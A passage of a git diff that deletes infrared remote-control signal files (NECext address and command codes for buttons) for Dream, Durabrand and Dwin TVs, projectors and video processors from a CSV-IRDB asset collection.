-name: A -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 30 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 31 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 32 00 00 00 -# -name: DDD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 33 00 00 00 -# -name: SHIFT-STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 34 00 00 00 -# -name: SHIFT-RECORD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 35 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: RED_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: GREEN_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: YELLOW_II -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: FFW_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: BLUE_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: BACKGROUND -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 44 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 45 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 51 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 51 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 52 00 00 00 -# -name: LAME! -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 52 00 00 00 -# -name: RADIO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 53 00 00 00 -# -name: RADIO_O -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 53 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 53 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 53 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 54 00 00 00 -# -name: SET-TOP_BOX_0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 60 00 00 00 -# -name: SET-TOP_BOX_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 61 00 00 00 -# -name: SET-TOP_BOX_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 62 00 00 00 -# -name: SET-TOP_BOX_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 63 00 00 00 -# -name: SET-TOP_BOX_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 64 00 00 00 -# -name: SET-TOP_BOX_5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 65 00 00 00 -# -name: SET-TOP_BOX_6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 66 00 00 00 -# -name: SET-TOP_BOX_7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 67 00 00 00 -# -name: SET-TOP_BOX_8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 68 00 00 00 -# -name: SET-TOP_BOX_9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 69 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: B4 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: E8 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: E8 00 00 00 -# -name: RWD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: F0 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: F1 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: F2 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: F3 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir deleted file mode 100644 index 4c9228c61..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dream/Satellite/41,0.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RIGHT -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 24 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 29 00 00 00 -command: 42 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir deleted file mode 100644 index 6093c1702..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Durabrand/Unknown_PTV141/128,99.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 10 00 00 00 -# -name: quick_view -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 11 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 13 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 1A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 1E 00 00 00 -# -name: status -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 40 00 00 00 -# -name: display_cancel -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 42 00 00 00 -# -name: text_mix_tv -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 45 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 55 00 00 00 -# -name: normal -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir deleted file mode 100644 index fef85780b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: T/V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir deleted file mode 100644 index b006a6991..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Plasma/15,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 73 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 74 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 75 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 75 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 77 00 00 00 -# -name: 0_-_DVI_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7C 00 00 00 -# -name: 1_-_COMPOSITE_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7D 00 00 00 -# -name: 2_-_COMPOSITE_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7E 00 00 00 -# -name: 3_-_S-VIDEO_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7F 00 00 00 -# -name: 4_-_S-VIDEO_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 80 00 00 00 -# -name: 5_-_COMPONENT_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 81 00 00 00 -# -name: 6_-_COMPONENT_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 82 00 00 00 -# -name: 7_-_RGB_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 83 00 00 00 -# -name: 8_-_RGB_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 84 00 00 00 -# -name: 9_-_DVI_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 85 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8B 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir deleted file mode 100644 index 832c08afe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Projector/15,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 73 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 74 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 75 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 76 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 77 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 80 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 81 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 82 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 83 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 84 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 85 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 87 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8E 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir deleted file mode 100644 index 17f05907f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/TV/15,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CTR_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 70 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 71 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 73 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 74 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 75 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 77 00 00 00 -# -name: 0_-_DVI2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7C 00 00 00 -# -name: 1_-_COMPOSITE_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7D 00 00 00 -# -name: 2_-_COMPOSITE_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7E 00 00 00 -# -name: 3_-_SVIDEO_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 7F 00 00 00 -# -name: 4_-_SVIDEO_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 80 00 00 00 -# -name: 5_-_COMPONENT_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 81 00 00 00 -# -name: 6_-_COMPONENT_2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 82 00 00 00 -# -name: 7_-_RGB1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 83 00 00 00 -# -name: 8_-_RGB2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 84 00 00 00 -# -name: 9_-_DVI_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 85 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 87 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 88 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8A 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8B 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8C 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8E 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 8F 00 00 00 -# -name: MODE_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 90 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir deleted file mode 100644 index de583023a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/1,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: ALT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: T/V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: OFF/ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: SELECT_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: FLASHBK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: SELECT_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: ADJ_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: ADJ_< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir deleted file mode 100644 index 2b986a0ff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Processor/7,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir deleted file mode 100644 index c1d5fa25c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dwin/Video Projector/15,-1.ir +++ /dev/null @@ -1,536 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ALT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: CTR_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: FLASHBK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 29 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: OFF/ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 0_-_DVI2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 1_-_COMPOSITE_1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 